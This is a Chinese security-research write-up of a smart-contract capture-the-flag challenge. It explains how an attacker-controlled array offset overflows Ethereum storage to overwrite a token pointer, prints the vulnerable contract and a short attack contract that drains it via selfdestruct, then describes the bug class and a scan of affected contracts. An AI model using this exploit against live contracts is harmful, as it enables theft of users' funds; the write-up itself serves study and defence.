作者:LoRexxar'@知道創宇404區塊鏈安全研究團隊
時間:2018年11月16日

系列文章:

2018年11月6日,DVP上線了一場“地球OL真實盜幣游戲”,其中第二題是一道智能合約題目,題目中涉及到的了一個很有趣的問題,這里拿出來詳細說說看。

https://etherscan.io/address/0x5170a14aa36245a8a9698f23444045bdc4522e0a#code

Writeup

pragma solidity ^0.4.21;
library SafeMath {
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
    }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);

  function transferFrom(address from, address to, uint256 value) public returns (bool);

  function approve(address spender, uint256 value) public returns (bool);
  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

library SafeERC20 {
  function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
    require(token.transfer(to, value));
  }

  function safeTransferFrom(
    ERC20 token,
    address from,
    address to,
    uint256 value
  )
    internal
  {
    require(token.transferFrom(from, to, value));
  }

  function safeApprove(ERC20 token, address spender, uint256 value) internal {
    require(token.approve(spender, value));
  }
}

contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;

    constructor(address addr) payable{
        token = ERC20(addr);
    }

    function (){
        if(map.length>=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }

        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;  

        }
    }

    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        require(blockNum>block.number);
        if(token.allowance(msg.sender,address(this))>0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }

    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number > map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);

        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;

        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}

看著代碼那么長,但其實核心代碼就后面這點。

fallback函數

function (){
    if(map.length>=uint256(msg.sender)){
        require(map[uint256(msg.sender)]!=1);
    }

    if(token.balanceOf(this)==0){
        //airdrop is over
        selfdestruct(msg.sender); //如果token花完了,就會自動銷毀自己發送余額
    }else{
        token.safeTransfer(msg.sender,100); // 否則就給你轉100token

        if (map.length <= uint256(msg.sender)) {
            map.length = uint256(msg.sender) + 1;  // 通過做map變量偏移操作來使空投只發1次
        }
        map[uint256(msg.sender)] = 1;  
    }
}

簡單來說就是每個地址只發一次空投,然后如果余額空投完了就會銷毀自己轉賬。

guess函數

 //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
    require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18)); // guess要花費0.001 ether
    require(blockNum>block.number); // blockNum要大于當前block.number
    if(token.allowance(msg.sender,address(this))>0){
        token.safeTransferFrom(msg.sender,address(this),1*(10**18));  //轉賬
    }
    if (map.length <= uint256(msg.sender)+x) {
        map.length = uint256(msg.sender)+x + 1;
    }

    map[uint256(msg.sender)+x] = blockNum;  // 可以想向任意地址寫入blockNum
}

lottery函數

function lottery(uint256 x) public {
    require(map[uint256(msg.sender)+x]!=0); // 目標地址必須有值
    require(block.number > map[uint256(msg.sender)+x]); // 這點是和前面guess函數對應,必須在之后開獎
    require(block.blockhash(map[uint256(msg.sender)+x])!=0); // 不能使中間的參數為當前塊為0

    uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000; 
    // 計算hash的后4位

    if (x == answer) { // 如果相等,則轉賬并銷毀
        token.safeTransfer(msg.sender,token.balanceOf(address(this)));
        selfdestruct(msg.sender);
    }
}

其實回到題目本身來看,我們的目的是要拿走合約里的所有eth,在合約里,唯一僅有的轉賬辦法就是selfdestruct,所以我們的目的就是想辦法觸發這個函數。

銷毀函數只在fallback和lottery函數中存在,其實閱讀一下不難發現,lottery不可能有任何操作,沒辦法溢出,沒辦法修改,除非運氣逆天,否則不可能從lottery函數觸發這個函數。

所以目光回到fallback函數,要滿足轉賬,我們需要想辦法讓balanceOf返回0,如果我們想要通過薅羊毛的方式去解決的話簡單測試就會明白這不可能,因為一次只能轉100,余額如果我沒記錯的話,應該超過萬億以上。

很顯然,想通過空投要薅羊毛來獲得flag基本不太可能,所以我們的目標就是,如何影響到balanceOf的返回。

而balanceOf這個函數是來自于token變量的

constructor(address addr) payable{
    token = ERC20(addr);
}

而token變量是一個全局變量,在開始被定義

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    ...

在 EVM 中存儲有三種方式,分別是 memory、storage 以及 stack

memory : 內存,生命周期僅為整個方法執行期間,函數調用后回收,因為僅保存臨時變量,故GAS開銷很小 storage : 永久儲存在區塊鏈中,由于會永久保存合約狀態變量,故GAS開銷也最大 stack : 存放部分局部值類型變量,幾乎免費使用的內存,但有數量限制

而全局變量就是存在storage中的,合約中的全局變量有以下幾個

ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;

而token就是第一個全局變量,則storage[0]就存了token變量

然后回到我們前面的需求,我們怎么才有可能覆蓋storage的第一塊數據呢,讓我們再回到代碼。guess中有這么一段代碼。

map[uint256(msg.sender)+x] = blockNum;

在EVM中數組和其他類型不同,因為數組時動態大小的,所以數組類型的數據計算方式為

address(map_data) = sha(array_slot)+offset

其中array_slot就是map變量數據的位置,也就是1,offset就是數組中的偏移,比如map[2],offset就是2.

這樣一來,map[2]的地址就是sha(1)+2,假設map[2]=2333,則storage[sha(1)+2]=2333

這樣一來就出現問題了,由于offset我們可控,我們就可以向storage的任意地址寫值。

再加上storage不是無限大的,它最多只有2**256那么大,sha(1)是固定的0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6。

也就是說我們設置x為2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,storage就會溢出,并覆蓋token變量。

所以思路就比較清楚了,構造攻擊合約,然后定義balanceOf返回0,調用fallback函數,然后返回即可。

利用合約大致如下

pragma solidity ^0.4.21;

contract dvp_attack {
    address public targetaddr;

    constructor(address addr) payable{
        targetaddr = addr;
    }

    function balanceOf(address addr) public returns(uint i){
        i = 0;
    }

    function attack(uint256 x,uint256 blockNum){
        // modity owner
        targetaddr.call(bytes4(keccak256("guess(uint256,uint256)",x,blockNum)));
        // fallback
        targetaddr.call(bytes4(keccak256("a")));
    }
}

在題目之后

在題目之后,我們不難發現,整個漏洞的成因與未初始化storage指針非常像,要明白這個漏洞,首先我們需要明白在EVM中對變長變量的定義和儲存方式。

array

uint256[] map;

map就是一個uint類型的數組,在storage中,map變量的儲存地址計算公式如下

address(map_data) = sha3(slot)+offset

剛才說到array_slot就是數組變量在全局變量中聲明的位置,比如map是第二個全局變量

map[2] = 22333
==>
address(map_data) = sha3(1)+2
==>
storage[sha3(1)+2] = 22333

mapping

mapping (address => uint) balances;

balances是一個鍵為address類型,值為uint型的mapping字典,在storage中,balances變量的儲存地址計算公式如下

address(balances_data) = sha3(key, slot)

其中key就是mapping類型中的鍵名,slot就是balances變量在全局變量中聲明的位置,比如balances是第一個全局變量:

balances[0xaaa] = 22333 //0xaaa為address
==>
address(balances_data) = sha3(0xaaa,0)
==>
storage[sha3(0xaaa,0)] = 22333

mapping + struct

struct Person {
        address[] addr;
        uint funds;
    }

mapping (address => Person) people;

people是一個鍵為address類型,值為struct的mapping,在storage中,people變量的儲存地址計算公式如下

address(people_data) = sha3(key,slot)+offset

其中key就是mapping類型中的鍵名,slot就是people變量在全局變量中聲明的位置,offset就是變量在結構體內的位置,比如people是第一個全局變量:

people[0xaaa].addr[1] = 0xbbb
==>
address(people_data) = sha3(sha3(0xaaa,0)+0)+1
==>
storage[sha3(sha3(0xaaa,0)+0)+1] = 0xbbb

對于上面的三種典型結構來說,雖然可以保證sha3的結果不會重復,但很難保證sha3(a)+b不和sha3(c)重復,所以,雖然幾率很小,但仍然可能因為hash碰撞導致變量被覆蓋。

再回到攻擊者角度,一旦變長數組的key可以被控制,就有可能人為的控制覆蓋變量,產生進一步利用。

詳細的原理可以參照以太坊智能合約 OPCODE 逆向之理論基礎篇

漏洞影響范圍

經過研究,我們把這類問題統一歸結是變量覆蓋問題,當array變量出現,且參數可控時,就有可能導致惡意利用了。

“昊天塔(HaoTian)”是知道創宇404區塊鏈安全研究團隊獨立開發的用于監控、掃描、分析、審計區塊鏈智能合約安全自動化平臺。目前Haotian平臺智能合約審計功能已經集成了該規則。

截至2018年11月15日,我們使用HaoTian對全網公開的智能合約進行掃描,其中共有277個合約存在潛在的該問題,其中交易量最高的10個合約情況如下:

總結

這是一起涉及到底層設計結構的變量覆蓋問題,各位智能合約的開發者們可以關于代碼中可能存在的這樣的問題,避免不必要的損失。

上述變量覆蓋問題已經更新到以太坊合約審計checkList

REF


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/745/